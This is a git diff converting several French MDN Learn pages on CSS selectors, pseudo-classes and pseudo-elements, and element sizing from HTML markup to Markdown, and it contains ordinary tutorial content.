an element. | +| {{ Cssxref(":any-link") }} | Matches both the `:link` and `:visited` states of a link. | +| {{ Cssxref(":blank") }} | Matches an [`<input>` element](/fr/docs/Web/HTML/Element/input) whose input value is empty. | +| {{ Cssxref(":checked") }} | Matches a radio button or checkbox in the selected state. | +| {{ Cssxref(":current") }} | Matches the element, or an ancestor of the element, that is currently being displayed. | +| {{ Cssxref(":default") }} | Matches the one or more UI elements that are the default among a set of similar elements. | +| {{ Cssxref(":dir") }} | Select an element based on its directionality (value of the HTML [`dir`](/fr/docs/Web/HTML/Global_attributes/dir) attribute or CSS [`direction`](/fr/docs/Web/CSS/direction) property). | +| {{ Cssxref(":disabled") }} | Matches user interface elements that are in an disabled state. | +| {{ Cssxref(":empty") }} | Matches an element that has no children except optionally white space. | +| {{ Cssxref(":enabled") }} | Matches user interface elements that are in an enabled state. | +| {{ Cssxref(":first") }} | In [Paged Media](/fr/docs/Web/CSS/Paged_Media), matches the first page. | +| {{ Cssxref(":first-child") }} | Matches an element that is first among its siblings. | +| {{ Cssxref(":first-of-type") }} | Matches an element which is first of a certain type among its siblings. | +| {{ Cssxref(":focus") }} | Matches when an element has focus. | +| {{ Cssxref(":focus-visible")}} | Matches when an element has focus and the focus should be visible to the user. | +| {{ Cssxref(":focus-within") }} | Matches an element with focus plus an element with a descendent that has focus. | +| {{ Cssxref(":future") }} | Matches the elements after the current element. | +| {{ Cssxref(":hover") }} | Matches when the user hovers over an element. | +| {{ Cssxref(":indeterminate") }} | Matches UI elements whose value is in an indeterminate state, usually [checkboxes](/fr/docs/Web/HTML/Element/input/checkbox). | +| {{ Cssxref(":in-range") }} | Matches an element with a range when its value is in-range. | +| {{ Cssxref(":invalid") }} | Matches an element, such as an `<input>`, in an invalid state. | +| {{ Cssxref(":lang") }} | Matches an element based on language (value of the HTML [lang](/fr/docs/Web/HTML/Global_attributes/lang) attribute). | +| {{ Cssxref(":last-child") }} | Matches an element which is last among its siblings. | +| {{ Cssxref(":last-of-type") }} | Matches an element of a certain type that is last among its siblings. | +| {{ Cssxref(":left") }} | In [Paged Media](/fr/docs/Web/CSS/CSS_Pages), matches left-hand pages. | +| {{ Cssxref(":link")}} | Matches unvisited links. | +| {{ Cssxref(":local-link")}} | Matches links pointing to pages that are in the same site as the current document. | +| {{ Cssxref(":is", ":is()")}} | Matches any of the selectors in the selector list that is passed in. | +| {{ Cssxref(":not") }} | Matches things not matched by selectors that are passed in as a value to this selector. | +| {{ Cssxref(":nth-child") }} | Matches elements from a list of siblings — the siblings are matched by a formula of the form _an+b_ (e.g. 2n + 1 would match elements 1, 3, 5, 7, etc. All the odd ones.) | +| {{ Cssxref(":nth-of-type") }} | Matches elements from a list of siblings that are of a certain type (e.g. `<p>` elements) — the siblings are matched by a formula of the form _an+b_ (e.g. 2n + 1 would match that type of element, numbers 1, 3, 5, 7, etc. All the odd ones.) | +| {{ Cssxref(":nth-last-child") }} | Matches elements from a list of siblings, counting backwards from the end. The siblings are matched by a formula of the form _an+b_ (e.g. 2n + 1 would match the last element in the sequence, then two elements before that, then two elements before that, etc. All the odd ones, counting from the end.) | +| {{ Cssxref(":nth-last-of-type") }} | Matches elements from a list of siblings that are of a certain type (e.g. `<p>` elements), counting backwards from the end. The siblings are matched by a formula of the form _an+b_ (e.g. 2n + 1 would match the last element of that type in the sequence, then two elements before that, then two elements before that, etc. All the odd ones, counting from the end.) | +| {{ Cssxref(":only-child") }} | Matches an element that has no siblings. | +| {{ Cssxref(":only-of-type") }} | Matches an element that is the only one of its type among its siblings. | +| {{ Cssxref(":optional") }} | Matches form elements that are not required. | +| {{ Cssxref(":out-of-range") }} | Matches an element with a range when its value is out of range. | +| {{ Cssxref(":past") }} | Matches the elements before the current element. | +| {{ Cssxref(":placeholder-shown") }} | Matches an input element that is showing placeholder text. | +| {{ Cssxref(":playing") }} | Matches an element representing an audio, video, or similar resource that is capable of being “played” or “paused”, when that element is “playing”. | +| {{ Cssxref(":paused") }} | Matches an element representing an audio, video, or similar resource that is capable of being “played” or “paused”, when that element is “paused”. | +| {{ Cssxref(":read-only") }} | Matches an element if it is not user-alterable. | +| {{ Cssxref(":read-write") }} | Matches an element if it is user-alterable. | +| {{ Cssxref(":required") }} | Matches form elements that are required. | +| {{ Cssxref(":right") }} | In [Paged Media](/fr/docs/Web/CSS/CSS_Pages), matches right-hand pages. | +| {{ Cssxref(":root") }} | Matches an element that is the root of the document. | +| {{ Cssxref(":scope") }} | Matches any element that is a scope element. | +| {{ Cssxref(":valid") }} | Matches an element such as an `<input>` element, in a valid state. | +| {{ Cssxref(":target") }} | Matches an element if it is the target of the current URL (i.e. if it has an ID matching the current [URL fragment](https://en.wikipedia.org/wiki/Fragment_identifier)). | +| {{ Cssxref(":visited") }} | Matches visited links. | + +### Pseudo-éléments + +| Sélecteur | Description | +| -------------------------------------------- | ---------------------------------------------------------------------------------------- | +| {{ Cssxref("::after") }} | Matches a stylable element appearing after the originating element's actual content. | +| {{ Cssxref("::before") }} | Matches a stylable element appearing before the originating element's actual content. | +| {{ Cssxref("::first-letter") }} | Matches the first letter of the element. | +| {{ Cssxref("::first-line") }} | Matches the first line of the containing element. | +| {{ Cssxref("::grammar-error") }} | Matches a portion of the document containing a grammar error as flagged by the browser. | +| {{ Cssxref("::selection") }} | Matches the portion of the document that has been selected. | +| {{ Cssxref("::spelling-error") }} | Matches a portion of the document containing a spelling error as flagged by the browser. | + +{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}} + +## Dans ce cours + +1. [Cascade and inheritance](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) +2. [CSS selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors) + + - [Type, class, and ID selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors) + - [Attribute selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors) + - [Pseudo-classes and pseudo-elements](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements) + - [Combinators](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators) + +3. [The box model](/fr/docs/Learn/CSS/Building_blocks/The_box_model) +4. [Backgrounds and borders](/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders) +5. [Handling different text directions](/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions) +6. [Overflowing content](/fr/docs/Learn/CSS/Building_blocks/Overflowing_content) +7. [Values and units](/fr/docs/Learn/CSS/Building_blocks/Values_and_units) +8. [Sizing items in CSS](/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS) +9. [Images, media, and form elements](/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements) +10. [Styling tables](/fr/docs/Learn/CSS/Building_blocks/Styling_tables) +11. [Debugging CSS](/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS) +12. [Organizing your CSS](/fr/docs/Learn/CSS/Building_blocks/Organizing) diff --git a/files/fr/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.md b/files/fr/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.md index 376bfcb1cd..43772eb59f 100644 --- a/files/fr/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.md +++ b/files/fr/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.md @@ -4,115 +4,129 @@ slug: Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors translation_of: Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors original_slug: Apprendre/CSS/Building_blocks/Selectors/Sélecteurs_de_type_classe_ID --- -<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}}</p> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}} -<p>Dans cette leçon, nous examinons les sélecteurs les plus simples qu'on puisse trouver, ce sont ceux que vous utiliserez le plus couramment dans votre travail.</p> +Dans cette leçon, nous examinons les sélecteurs les plus simples qu'on puisse trouver, ce sont ceux que vous utiliserez le plus couramment dans votre travail. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Notions de base en l'informatique, <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">logiciels de base installés</a>, <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers">savoir manipuler des fichiers</a>, connaissance de base de HTML (cf. <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML">Introduction à HTML</a>.) et une première idée du fonctionnement de CSS (voir <a href="/fr/docs/Learn/CSS/First_steps">premiers pas en CSS</a>.)</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Voir dans les détails comment les sélecteurs CSS fonctionnent.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Notions de base en l'informatique, + <a + href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base" + >logiciels de base installés</a + >, + <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers" + >savoir manipuler des fichiers</a + >, connaissance de base de HTML (cf. <a + href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" + >Introduction à HTML</a + >.) et une première idée du fonctionnement de CSS (voir <a + href="/fr/docs/Learn/CSS/First_steps" + >premiers pas en CSS</a + >.) + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td>Voir dans les détails comment les sélecteurs CSS fonctionnent.</td> + </tr> + </tbody> </table> -<h2 id="Sélecteur_de_type">Sélecteur de type</h2> +## Sélecteur de type -<p>Un sélecteur de type cible un élément HTML (une balise) de votre document, on parle aussi de sélecteur de balise ou d'élément. Dans l'exemple ci-dessous on utilise les sélecteurs span, em et strong. Chaque instance de <code><span></code>, <code><em></code> et <code><strong></code> est ainsi mise en forme.</p> +Un sélecteur de type cible un élément HTML (une balise) de votre document, on parle aussi de sélecteur de balise ou d'élément. Dans l'exemple ci-dessous on utilise les sélecteurs span, em et strong. Chaque instance de `<span>`, `<em>` et `<strong>` est ainsi mise en forme. -<p><strong>Essayez d'ajouter une règle CSS pour sélectionner l'élément <code><h1></code> et changer sa couleur en bleu.</strong></p> +**Essayez d'ajouter une règle CSS pour sélectionner l'élément `<h1>` et changer sa couleur en bleu.** -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/type.html", '100%', 1100)}}</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/type.html", '100%', 1100)}} -<h2 id="Le_sélecteur_universel">Le sélecteur universel</h2> +## Le sélecteur universel -<p>Le sélecteur universel est indiqué par un astérisque (*) et sélectionne tout dans le document (ou à l'intérieur de l'élément parent s'il est enchaîné avec un autre élément et un combinateur descendant, par exemple). Dans l'exemple suivant, nous avons utilisé le sélecteur universel pour supprimer les marges de tous les éléments. Cela signifie qu'au lieu du style par défaut ajouté par le navigateur, qui espace les en-têtes et les paragraphes avec des marges, tout est collé, la distinction des paragraphes est mal aisée.</p> +Le sélecteur universel est indiqué par un astérisque (\*) et sélectionne tout dans le document (ou à l'intérieur de l'élément parent s'il est enchaîné avec un autre élément et un combinateur descendant, par exemple). Dans l'exemple suivant, nous avons utilisé le sélecteur universel pour supprimer les marges de tous les éléments. Cela signifie qu'au lieu du style par défaut ajouté par le navigateur, qui espace les en-têtes et les paragraphes avec des marges, tout est collé, la distinction des paragraphes est mal aisée. -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/universal.html", '100%', 750)}}</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/universal.html", '100%', 750)}} -<p>On peut rencontrer ce type de comportement dans les "feuilles de style de réinitialisation" qui suppriment toutes les mises en forme par défaut du navigateur. Très populaires à une époque, ces réinitialisations ont un gros inconvénient, la suppression de tous les styles par défaut signifie en effet qu'on doit construire la mise en forme de zéro ! On utilisera donc le sélecteur universel avec précaution, dans des situations très spécifiques, comme par exemple celle décrite ci-dessous.</p> +On peut rencontrer ce type de comportement dans les "feuilles de style de réinitialisation" qui suppriment toutes les mises en forme par défaut du navigateur. Très populaires à une époque, ces réinitialisations ont un gros inconvénient, la suppression de tous les styles par défaut signifie en effet qu'on doit construire la mise en forme de zéro ! On utilisera donc le sélecteur universel avec précaution, dans des situations très spécifiques, comme par exemple celle décrite ci-dessous. -<h3 id="Utiliser_le_sélecteur_universel_pour_rendre_les_sélecteurs_plus_lisibles">Utiliser le sélecteur universel pour rendre les sélecteurs plus lisibles</h3> +### Utiliser le sélecteur universel pour rendre les sélecteurs plus lisibles -<p>On peut utiliser <code>*</code> pour rendre les sélecteurs plus lisibles, pour clarifier leur fonctionnement. Par exemple, si je veux sélectionner le premier descendant de chaque élément <code><article></code> pour le mettre en gras, je peux utiliser le sélecteur {{cssxref(":first-child")}}, qu'on verra dans la leçon sur les <a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">pseudo-classes et pseudo-éléments</a> : </p> +On peut utiliser `*` pour rendre les sélecteurs plus lisibles, pour clarifier leur fonctionnement. Par exemple, si je veux sélectionner le premier descendant de chaque élément `<article>` pour le mettre en gras, je peux utiliser le sélecteur {{cssxref(":first-child")}}, qu'on verra dans la leçon sur les [pseudo-classes et pseudo-éléments](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements) : -<pre class="brush: css">article :first-child { +```css +article :first-child { -}</pre> +} +``` -<p>On peut néanmoins confondre ce sélecteur avec <code>article:first-child</code> ciblant les éléments <code><article></code> qui sont le premier descendant d'un élément.</p> +On peut néanmoins confondre ce sélecteur avec `article:first-child` ciblant les éléments `<article>` qui sont le premier descendant d'un élément. -<p>Pour éviter cette confusion, on peut ajouter le sélecteur universel <code>*</code> à <code>:first-child</code>, le fonctionnement de ce dernier sera plus clair : il cible <em>tout</em> élément premier descendant d'un élément <code><article></code> :</p> +Pour éviter cette confusion, on peut ajouter le sélecteur universel `*` à `:first-child`, le fonctionnement de ce dernier sera plus clair : il cible *tout* élément premier descendant d'un élément `<article>` : -<pre class="brush: css">article *:first-child { +```css +article *:first-child { -} </pre> +} +``` -<h2 id="Sélecteurs_de_classe">Sélecteurs de classe</h2> +## Sélecteurs de classe -<p>Le sélecteur de classe commence par un point <code>.</code> et sélectionne tout élément du document auquel cette classe est appliquée. Dans l'exemple live ci-dessous, nous avons créé une classe appelée <code>.highlight</code> et l'avons appliquée à plusieurs endroits du document. Tous les éléments auxquels la classe est appliquée sont mis en évidence.</p> +Le sélecteur de classe commence par un point `.` et sélectionne tout élément du document auquel cette classe est appliquée. Dans l'exemple live ci-dessous, nous avons créé une classe appelée `.highlight` et l'avons appliquée à plusieurs endroits du document. Tous les éléments auxquels la classe est appliquée sont mis en évidence. -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/class.html", '100%', 750)}}</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/class.html", '100%', 750)}} -<h3 id="Cibler_des_classes_dun_élément_donné">Cibler des classes d'un élément donné</h3> +### Cibler des classes d'un élément donné -<p>On peut créer un sélecteur ciblant les éléments d'un type donné appartenant à une classe donnée. Dans l'exemple suivant, la classe <code>highlight</code> met en surbrillance, mais elle le fait différemment quand elle s'applique à un <span> ou à un titre <h1>. Nous le faisons en utilisant le sélecteur de type pour l'élément ciblé, avec la classe ajoutée, sans espace blanc entre les deux.</p> +On peut créer un sélecteur ciblant les éléments d'un type donné appartenant à une classe donnée. Dans l'exemple suivant, la classe `highlight` met en surbrillance, mais elle le fait différemment quand elle s'applique à un \<span> ou à un titre \<h1>. Nous le faisons en utilisant le sélecteur de type pour l'élément ciblé, avec la classe ajoutée, sans espace blanc entre les deux. -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/class-type.html", '100%', 750)}}</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/class-type.html", '100%', 750)}} -<p>Cette approche rend le CSS moins réutilisable : la déclaration ne s'applique qu'à ces éléments particuliers, et il faudrait ajouter un nouveau sélecteur pour que la règle parvienne à cibler d'autres éléments.</p> +Cette approche rend le CSS moins réutilisable : la déclaration ne s'applique qu'à ces éléments particuliers, et il faudrait ajouter un nouveau sélecteur pour que la règle parvienne à cibler d'autres éléments. -<h3 id="Cibler_un_élément_appartenant_à_plus_dune_classe">Cibler un élément appartenant à plus d'une classe</h3> +### Cibler un élément appartenant à plus d'une classe -<p>Vous pouvez attribuer plusieurs classes à un même élément et les sélectionner individuellement, ou cibler l'élément seulement quand toutes les classes apparaissent dans le sélecteur. Cela peut s'avérer utile si vous créez des composants qui peuvent être combinés de différentes manières sur votre site.</p> +Vous pouvez attribuer plusieurs classes à un même élément et les sélectionner individuellement, ou cibler l'élément seulement quand toutes les classes apparaissent dans le sélecteur. Cela peut s'avérer utile si vous créez des composants qui peuvent être combinés de différentes manières sur votre site. -<p>L'exemple ci-dessous présente trois <code><div></code> contenant chacun une note. Si la boîte est dans la classe <code>notebox</code> elle a une bordure grise. Si de plus elle est dans la classe <code>warning</code> ou <code>danger</code>, on change la {{cssxref("border-color")}}.</p> +L'exemple ci-dessous présente trois `<div>` contenant chacun une note. Si la boîte est dans la classe `notebox` elle a une bordure grise. Si de plus elle est dans la classe `warning` ou `danger`, on change la {{cssxref("border-color")}}. -<p>On indique au navigateur la combinaison de classes ciblée en enchaînant les sélecteurs de classe sans laisser d'espace entre.</p> +On indique au navigateur la combinaison de classes ciblée en enchaînant les sélecteurs de classe sans laisser d'espace entre. -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/class-many.html", '100%', 900)}}</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/class-many.html", '100%', 900)}} -<h2 id="Sélecteurs_dID">Sélecteurs d'ID</h2> +## Sélecteurs d'ID -<p>Un sélecteur d'ID commence par un <code>#</code> plutôt que par un point, mais est essentiellement utilisé de la même manière qu'un sélecteur de classe. Une ID ne peut cependant être utilisée qu'une seule fois par document. Le sélecteur cible l'élément avec l'<code>id</code> associée ; on peut faire précéder l'ID d'un sélecteur de type pour ne cibler l'élément que si l'élément et l'ID correspondent. Voyons ces deux utilisations dans l'exemple suivant :</p> +Un sélecteur d'ID commence par un `#` plutôt que par un point, mais est essentiellement utilisé de la même manière qu'un sélecteur de classe. Une ID ne peut cependant être utilisée qu'une seule fois par document. Le sélecteur cible l'élément avec l'`id` associée ; on peut faire précéder l'ID d'un sélecteur de type pour ne cibler l'élément que si l'élément et l'ID correspondent. Voyons ces deux utilisations dans l'exemple suivant : -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/id.html", '100%', 750)}}</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/id.html", '100%', 750)}} -<div class="blockIndicator note"> -<p><strong>Note :</strong> Comme on l'a vu dans la leçon sur la spécificité, on attribue une haute spécificité aux ID, les sélecteurs d'ID l'emportent donc sur la plupart des autres. Cela peut rendre leur usage compliqué. La plupart du temps il est préférable de passer par des sélecteurs de classe plutôt que d'ID, cependant si l'utilisation d'une ID est la seule façon de cibler un élément — peut-être que vous n'avez pas accès au balisage, que vous ne pouvez pas l'éditer — cela fonctionnera.</p> -</div> +> **Note :** Comme on l'a vu dans la leçon sur la spécificité, on attribue une haute spécificité aux ID, les sélecteurs d'ID l'emportent donc sur la plupart des autres. Cela peut rendre leur usage compliqué. La plupart du temps il est préférable de passer par des sélecteurs de classe plutôt que d'ID, cependant si l'utilisation d'une ID est la seule façon de cibler un élément — peut-être que vous n'avez pas accès au balisage, que vous ne pouvez pas l'éditer — cela fonctionnera. -<h2 id="Prochain_article">Prochain article</h2> +## Prochain article -<p>Notre exploration des sélecteurs se poursuit par l'étude des <a href="/fr/docs/Apprendre/CSS/Building_blocks/Selectors/Sélecteurs_d_atrribut">sélecteurs d'attributs</a>.</p> +Notre exploration des sélecteurs se poursuit par l'étude des [sélecteurs d'attributs](/fr/docs/Apprendre/CSS/Building_blocks/Selectors/Sélecteurs_d_atrribut). -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}}</p> +{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}} -<h2 id="Dans_ce_cours">Dans ce cours</h2> +## Dans ce cours -<ol> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade and inheritance</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors">CSS selectors</a> - <ul> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class, and ID selectors</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Attribute selectors</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes and pseudo-elements</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinators</a></li> - </ul> - </li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/The_box_model">The box model</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Backgrounds and borders</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Handling different text directions</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Overflowing_content">Overflowing content</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Values_and_units">Values and units</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Sizing items in CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, media, and form elements</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Styling_tables">Styling tables</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS">Debugging CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Organizing">Organizing your CSS</a></li> -</ol> +1. [Cascade and inheritance](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) +2. [CSS selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors) + + - [Type, class, and ID selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors) + - [Attribute selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors) + - [Pseudo-classes and pseudo-elements](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements) + - [Combinators](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators) + +3. [The box model](/fr/docs/Learn/CSS/Building_blocks/The_box_model) +4. [Backgrounds and borders](/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders) +5. [Handling different text directions](/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions) +6. [Overflowing content](/fr/docs/Learn/CSS/Building_blocks/Overflowing_content) +7. [Values and units](/fr/docs/Learn/CSS/Building_blocks/Values_and_units) +8. [Sizing items in CSS](/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS) +9. [Images, media, and form elements](/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements) +10. [Styling tables](/fr/docs/Learn/CSS/Building_blocks/Styling_tables) +11. [Debugging CSS](/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS) +12. [Organizing your CSS](/fr/docs/Learn/CSS/Building_blocks/Organizing) diff --git a/files/fr/learn/css/building_blocks/sizing_items_in_css/index.md b/files/fr/learn/css/building_blocks/sizing_items_in_css/index.md index 74258dbe1b..9f10afa344 100644 --- a/files/fr/learn/css/building_blocks/sizing_items_in_css/index.md +++ b/files/fr/learn/css/building_blocks/sizing_items_in_css/index.md @@ -4,16 +4,28 @@ slug: Learn/CSS/Building_blocks/Sizing_items_in_CSS translation_of: Learn/CSS/Building_blocks/Sizing_items_in_CSS original_slug: Apprendre/CSS/Building_blocks/Sizing_items_in_CSS --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}</div> - -<div>Dans les différentes leçons vues jusqu'à présent vous avez rencontré de nombreuses manières de dimensionner les éléments sur une page en utilisant CSS. Comprendre le dimensionnement des différentes caractéristiques de votre design est important. Cette leçon résumera les diverses méthodes pour appliquer une taille via CSS et définira également quelques termes au sujet du dimensionnement qui vous aideront dans le futur.</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}Dans les différentes leçons vues jusqu'à présent vous avez rencontré de nombreuses manières de dimensionner les éléments sur une page en utilisant CSS. Comprendre le dimensionnement des différentes caractéristiques de votre design est important. Cette leçon résumera les diverses méthodes pour appliquer une taille via CSS et définira également quelques termes au sujet du dimensionnement qui vous aideront dans le futur. <table class="standard-table"> <tbody> <tr> <th scope="row">Prérequis :</th> <td> - <p>Maîtrise élémentaire de l'informatique, <a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">suite logicielle de base installée</a>, compétences élémentaires pour <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files">travailler avec des fichiers</a>, connaissance de base du HTML (cf. <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction à HTML</a>), et une idée de <a href="/fr/docs/Learn/CSS/First_steps">Comment fonctionne CSS</a>.</p> + <p> + Maîtrise élémentaire de l'informatique, + <a + href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software" + >suite logicielle de base installée</a + >, compétences élémentaires pour + <a + href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files" + >travailler avec des fichiers</a + >, connaissance de base du HTML (cf. + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >Introduction à HTML</a + >), et une idée de + <a href="/fr/docs/Learn/CSS/First_steps">Comment fonctionne CSS</a>. + </p> </td> </tr> <tr> @@ -23,114 +35,109 @@ original_slug: Apprendre/CSS/Building_blocks/Sizing_items_in_CSS </tbody> </table> -<h2 id="the_natural_or_intrinsic_size_of_things">La taille naturelle ou intrinsèque des choses</h2> +## La taille naturelle ou intrinsèque des choses + +Tous les éléments HTML ont une taille « naturelle », définie avant toute modification par CSS. Un exemple parlant est celui d'un élément image. Une image a une largeur et une hauteur définies dans le fichier image qu'elle incorpore dans la page. On parle d'une **taille intrinsèque** — qui provient de l'image elle-même. + +Si vous placez une image dans une page sans modifier sa hauteur ni sa largeur (que ce soit à en utilisant un attribut sur la balise `<img>` ou avec CSS), cela l'affichera en utilisant sa taille intrinsèque. Ci-dessous nous avons l'exemple d'une image à laquelle nous avons ajouté une bordure afin de bien délimiter sa taille. -<p>Tous les éléments HTML ont une taille « naturelle », définie avant toute modification par CSS. Un exemple parlant est celui d'un élément image. Une image a une largeur et une hauteur définies dans le fichier image qu'elle incorpore dans la page. On parle d'une <strong>taille intrinsèque </strong>— qui provient de l'image elle-même.</p> +{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-image.html", '100%', 600)}} -<p>Si vous placez une image dans une page sans modifier sa hauteur ni sa largeur (que ce soit à en utilisant un attribut sur la balise <code><img></code> ou avec CSS), cela l'affichera en utilisant sa taille intrinsèque. Ci-dessous nous avons l'exemple d'une image à laquelle nous avons ajouté une bordure afin de bien délimiter sa taille.</p> +Un élément [`<div>`](/fr/docs/Web/HTML/Element/div) vide en revanche, n'a pas de taille en soi. Si vous ajouter une [`<div>`](/fr/docs/Web/HTML/Element/div) à votre HTML sans aucun contenu à l'intérieur, et que vous lui ajouter une bordure comme nous l'avons fait avec l'image ci-dessus, vous verrez une ligne s'afficher sur la page. Cette ligne résulte de la juxtaposition des bordures horizontales, car il n'y a aucun contenu entre les deux. De plus les bordures s'étendent sur toute la largeur disponible du conteneur, car il s'agit d'un élément de bloc. Un comportement avec lequel vous devriez déjà être familiarisé. Cet élément n'a pas de hauteur (ou plutôt pas de taille dans l'axe de bloc), car il n'y a pas de contenu à l'intérieur de celui-ci. -<p>{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-image.html", '100%', 600)}}</p> +{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-text.html", '100%', 500)}} -<p>Un élément <a href="/fr/docs/Web/HTML/Element/div"><code><div></code></a> vide en revanche, n'a pas de taille en soi. Si vous ajouter une <a href="/fr/docs/Web/HTML/Element/div"><code><div></code></a> à votre HTML sans aucun contenu à l'intérieur, et que vous lui ajouter une bordure comme nous l'avons fait avec l'image ci-dessus, vous verrez une ligne s'afficher sur la page. Cette ligne résulte de la juxtaposition des bordures horizontales, car il n'y a aucun contenu entre les deux. De plus les bordures s'étendent sur toute la largeur disponible du conteneur, car il s'agit d'un élément de bloc. Un comportement avec lequel vous devriez déjà être familiarisé. Cet élément n'a pas de hauteur (ou plutôt pas de taille dans l'axe de bloc), car il n'y a pas de contenu à l'intérieur de celui-ci.</p> +Dans l'exemple ci-dessus; essayez d'ajouter du texte à l'intérieur de l'élément vide. Les bordures contiennent maintenant ce texte, car la hauteur de l'élément est définie par son contenu. De plus, la taille de cette `<div>` dans l'axe de bloc provient maintenant de la taille du contenu. Là aussi il s'agit de la taille intrinsèque de l'élément — sa taille est définie par son contenu. -<p>{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-text.html", '100%', 500)}}</p> +## Spécifier une taille -<p>Dans l'exemple ci-dessus; essayez d'ajouter du texte à 